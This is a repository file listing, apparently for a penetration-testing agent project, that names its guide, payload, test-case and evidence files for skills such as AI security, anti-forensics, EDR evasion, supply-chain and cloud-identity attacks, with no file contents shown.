    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/ai-model-security-testing-guide.mdmarkdown · 4.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/ai-red-team-guide.mdmarkdown · 6.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/ai-security-jailbreak-research.mdmarkdown · 69.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/llm-attack-methodology.mdmarkdown · 19.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/model-extraction-attack-guide.mdmarkdown · 9.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/prompt-injection-defense-guide.mdmarkdown · 8.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/prompt-injection-lab-guide.mdmarkdown · 4.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/payloads.mdmarkdown · 37.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ai-security/test-cases.mdmarkdown · 30.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/SKILL.mdmarkdown · 17.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/guides/crypto-hide-data-destruction.mdmarkdown · 12.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/guides/filesystem-anti-forensics.mdmarkdown · 8.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/guides/log-tamper-timestamp.mdmarkdown · 10.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/payloads.mdmarkdown · 31.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/anti-forensics/test-cases.mdmarkdown · 20.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/SKILL.mdmarkdown · 19.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/api-security-guide.mdmarkdown · 13.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/guides/api-authentication-bypass-guide.mdmarkdown · 6.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/guides/api-rate-limiting-bypass-guide.mdmarkdown · 7.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/guides/api-security-complete-guide.mdmarkdown · 13.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/guides/graphql-security-testing-guide.mdmarkdown · 5.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/guides/graphql-security-testing.mdmarkdown · 21.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/guides/websocket-security-guide.mdmarkdown · 25.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/payloads.mdmarkdown · 26.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/api-security/test-cases.mdmarkdown · 12.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/SKILL.mdmarkdown · 8.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/cve-advisory-writing-guide.mdmarkdown · 21.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/cvss-scoring.mdmarkdown · 5.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/penetration-test-report-guide.mdmarkdown · 11.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/pentest-report-template-guide.mdmarkdown · 20.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/report-structure.mdmarkdown · 14.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/security-advisory-writing-guide.mdmarkdown · 9.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/security-blog-writing-guide.mdmarkdown · 21.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/guides/vulnerability-writing.mdmarkdown · 19.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/payloads.mdmarkdown · 70.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/article-writing/test-cases.mdmarkdown · 12.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/SKILL.mdmarkdown · 46.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/evidence/2026-08-09/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/evidence/2026-08-09/summary.mdmarkdown · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/automotive-ecu-firmware-and-uds-deep-dive.mdmarkdown · 43.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/automotive-security-testing-tools-guide.mdmarkdown · 7.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/automotive-vehicle-security-playbook.mdmarkdown · 52.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/can-bus-reverse-engineering-guide.mdmarkdown · 5.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/coordinated-disclosure-and-cvd-guide.mdmarkdown · 9.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/lab-setup-and-development-mule-guide.mdmarkdown · 7.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/practical-validation-2026-08-15.mdmarkdown · 6.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/quick-reference-card.mdmarkdown · 19.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/real-world-incident-case-studies.mdmarkdown · 39.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/usage-and-assessment-zh.mdmarkdown · 5.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/payloads.mdmarkdown · 104.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/automotive-vehicle-security/test-cases.mdmarkdown · 27.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/SKILL.mdmarkdown · 11.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/autonomous-decision-making-guide.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/autonomous-pentest-orchestration-guide.mdmarkdown · 25.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/batch-processing-guide.mdmarkdown · 23.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/error-recovery-guide.mdmarkdown · 29.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/feedback-loop-design-guide.mdmarkdown · 12.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/resource-bounded-execution-guide.mdmarkdown · 13.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/safe-autonomous-pentest.mdmarkdown · 8.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/guides/watch-loop-patterns-guide.mdmarkdown · 23.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/payloads.mdmarkdown · 85.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/autonomous-loops/test-cases.mdmarkdown · 33.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/SKILL.mdmarkdown · 21.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/av-edr-evasion-edr-rules-evasion-deep.mdmarkdown · 21.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/av-edr-evasion-kernel-bypass-deep.mdmarkdown · 16.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/av-edr-evasion-living-off-the-land-deep.mdmarkdown · 19.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/av-edr-evasion-real-world-incident-case-studies.mdmarkdown · 17.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/edr-detection-evasion-guide.mdmarkdown · 16.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/in-memory-execution-dotnet-guide.mdmarkdown · 13.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/payload-obfuscation-av-bypass-guide.mdmarkdown · 10.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/process-injection-techniques-guide.mdmarkdown · 7.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/shellcode-encoding-guide.mdmarkdown · 7.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/payloads.mdmarkdown · 31.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/av-edr-evasion/test-cases.mdmarkdown · 17.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/SKILL.mdmarkdown · 20.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/guides/2026-03-21-reverse-engineering-tools.mdmarkdown · 3.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/guides/Binary_Analysis_Reverse_Engineering_Story.mdmarkdown · 13.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/guides/anti-reversing-bypass-guide.mdmarkdown · 11.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/guides/reverse-engineering-cli-reference.mdmarkdown · 7.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/guides/vulnerability-discovery-binary-guide.mdmarkdown · 11.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/payloads.mdmarkdown · 35.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/binary-reverse/test-cases.mdmarkdown · 8.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/SKILL.mdmarkdown · 46.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/evidence/2026-08-17/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/evidence/2026-08-17/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/guides/blockchain-l2-attack-playbook.mdmarkdown · 28.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/payloads.mdmarkdown · 74.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-l2-attack/test-cases.mdmarkdown · 22.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/SKILL.mdmarkdown · 31.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-08-09/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-08-09/summary.mdmarkdown · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-08-13/Attacker.abitext · 0.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-08-13/Attacker.bintext · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-08-13/Vulnerable.abitext · 0.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-08-13/Vulnerable.bintext · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-08-13/vulnerable.soltext · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/guides/blockchain-web3-bridge-oracle-exploit-deep.mdmarkdown · 17.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/guides/blockchain-web3-defi-reentrancy-deep.mdmarkdown · 48.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/guides/blockchain-web3-real-world-incident-case-studies.mdmarkdown · 20.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/guides/defi-exploit-testing-playbook.mdmarkdown · 31.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/guides/practical-validation-2026-08-13.mdmarkdown · 6.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/guides/smart-contract-audit-playbook.mdmarkdown · 24.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/guides/usage-and-assessment-zh.mdmarkdown · 5.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/payloads.mdmarkdown · 95.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/blockchain-web3/test-cases.mdmarkdown · 21.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/SKILL.mdmarkdown · 19.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/evidence/2026-09-07/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/guides/ble-gatt-attack.mdmarkdown · 12.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/guides/bluetooth-device-recon.mdmarkdown · 10.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/guides/rfid-nfc-clone.mdmarkdown · 13.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/payloads.mdmarkdown · 25.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/bluetooth-rfid-nfc/test-cases.mdmarkdown · 17.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/SKILL.mdmarkdown · 8.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/guides/browser-fingerprint-analysis-guide.mdmarkdown · 9.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/guides/headless-browser-security-testing-guide.mdmarkdown · 7.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/guides/network-interception-guide.mdmarkdown · 8.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/guides/playwright-auth-testing-guide.mdmarkdown · 9.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/guides/usage-and-assessment.mdmarkdown · 1.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/guides/web-automation-evidence-capture-guide.mdmarkdown · 9.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/payloads.mdmarkdown · 57.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/browser-qa/test-cases.mdmarkdown · 14.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/SKILL.mdmarkdown · 9.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/chronicle-template.pycode · 4.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/evidence/2026-09-04/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/evidence/2026-09-07/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/evidence/2026-09-07/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/evidence/2026-09-08/lint.jsoncode · 0.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/guides/cross-session-continuity-guide.mdmarkdown · 8.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/guides/event-recording-best-practices.mdmarkdown · 18.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/guides/event-timeline-construction-guide.mdmarkdown · 6.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/guides/knowledge-distillation-guide.mdmarkdown · 7.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/guides/milestone-tracking-methodology-guide.mdmarkdown · 8.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/guides/usage-and-assessment.mdmarkdown · 1.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/payloads.mdmarkdown · 38.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/chronicle/test-cases.mdmarkdown · 18.8 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/SKILL.mdmarkdown · 44.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/evidence/2026-09-04/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/evidence/2026-09-08/lint.jsoncode · 0.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/guides/ci-cd-supply-chain-attack-playbook.mdmarkdown · 37.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/guides/ci-cd-supply-chain-dependency-confusion-deep.mdmarkdown · 16.9 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/guides/ci-cd-supply-chain-github-actions-deep.mdmarkdown · 17.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/guides/ci-cd-supply-chain-real-world-incident-case-studies.mdmarkdown · 26.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/guides/ci-cd-supply-chain-sbom-provenance-deep.mdmarkdown · 20.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/payloads.mdmarkdown · 52.5 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/ci-cd-supply-chain-attack/test-cases.mdmarkdown · 25.4 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/SKILL.mdmarkdown · 48.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/evidence/2026-09-04/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/evidence/2026-09-04/summary.mdmarkdown · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/evidence/2026-09-08/lint.jsoncode · 0.2 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/evidence/2026-09-08/summary.mdmarkdown · 0.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/guides/cloud-identity-attack-device-code-phishing-deep.mdmarkdown · 14.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/guides/cloud-identity-attack-entra-id-deep.mdmarkdown · 58.6 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/guides/cloud-identity-attack-federation-abuse-deep.mdmarkdown · 14.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/guides/cloud-identity-attack-okta-auth0-deep.mdmarkdown · 48.0 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/guides/cloud-identity-attack-playbook.mdmarkdown · 35.3 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/guides/cloud-identity-attack-privilege-escalation-deep.mdmarkdown · 14.7 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/guides/cloud-identity-attack-real-world-incident-case-studies.mdmarkdown · 18.1 KB

    No inline preview for this entry.

  • kali-claw-pentest-agent/skills/cloud-identity-attack/guides/usage-and-assessment.mdmarkdown · 1.3 KB

